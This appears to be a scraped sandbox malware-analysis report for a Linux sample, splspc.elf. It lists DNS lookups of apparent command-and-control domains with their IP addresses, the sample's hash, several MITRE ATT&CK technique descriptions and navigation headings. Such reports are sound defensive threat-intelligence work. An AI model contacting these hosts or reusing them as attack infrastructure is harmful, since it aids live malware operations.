Oct 27, 2024 09:38:36.787749052 CET	152.53.15.127	192.168.2.15	0x16e1	No error (0)	chinklabs.dyn		185.150.24.67	A (IP address)	IN (0x0001)	false
Oct 27, 2024 09:38:38.440628052 CET	51.158.108.203	192.168.2.15	0xfc2c	No error (0)	burnthe.libre		45.156.86.24	A (IP address)	IN (0x0001)	false

Start time (UTC):	08:36:56
Start date (UTC):	27/10/2024
Path:	/tmp/splspc.elf
Arguments:	/tmp/splspc.elf
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report splspc.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.0s6RWW (deleted)

/tmp/qemu-open.1420gW (deleted)

/tmp/qemu-open.1w2eCV (deleted)

/tmp/qemu-open.1woV0W (deleted)

/tmp/qemu-open.2YUZxV (deleted)

/tmp/qemu-open.4MvHKV (deleted)

/tmp/qemu-open.5C31fW (deleted)

/tmp/qemu-open.5LIr6V (deleted)

/tmp/qemu-open.5ZdVVV (deleted)

/tmp/qemu-open.5l1T5S (deleted)

/tmp/qemu-open.5wkTaU (deleted)

/tmp/qemu-open.6aPzcU (deleted)

/tmp/qemu-open.6hCGrT (deleted)

/tmp/qemu-open.71TZAU (deleted)

/tmp/qemu-open.7GgDzX (deleted)

/tmp/qemu-open.7PKqkV (deleted)

/tmp/qemu-open.9Hn6zW (deleted)

/tmp/qemu-open.9mBtXW (deleted)

/tmp/qemu-open.9okphV (deleted)

/tmp/qemu-open.9snJcU (deleted)

/tmp/qemu-open.AbTf7V (deleted)

/tmp/qemu-open.B31LvU (deleted)

/tmp/qemu-open.B6p7jU (deleted)

/tmp/qemu-open.CFmO1V (deleted)

/tmp/qemu-open.Ckm91V (deleted)

/tmp/qemu-open.EvQOWU (deleted)

/tmp/qemu-open.FB6vrU (deleted)

/tmp/qemu-open.FbUKZT (deleted)

/tmp/qemu-open.Fvb9IU (deleted)

/tmp/qemu-open.GhtSXT (deleted)

/tmp/qemu-open.HGCE1U (deleted)

/tmp/qemu-open.I2KwrT (deleted)

/tmp/qemu-open.ILasnW (deleted)

/tmp/qemu-open.IhLtjU (deleted)

Linux Analysis Report
splspc.elf

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre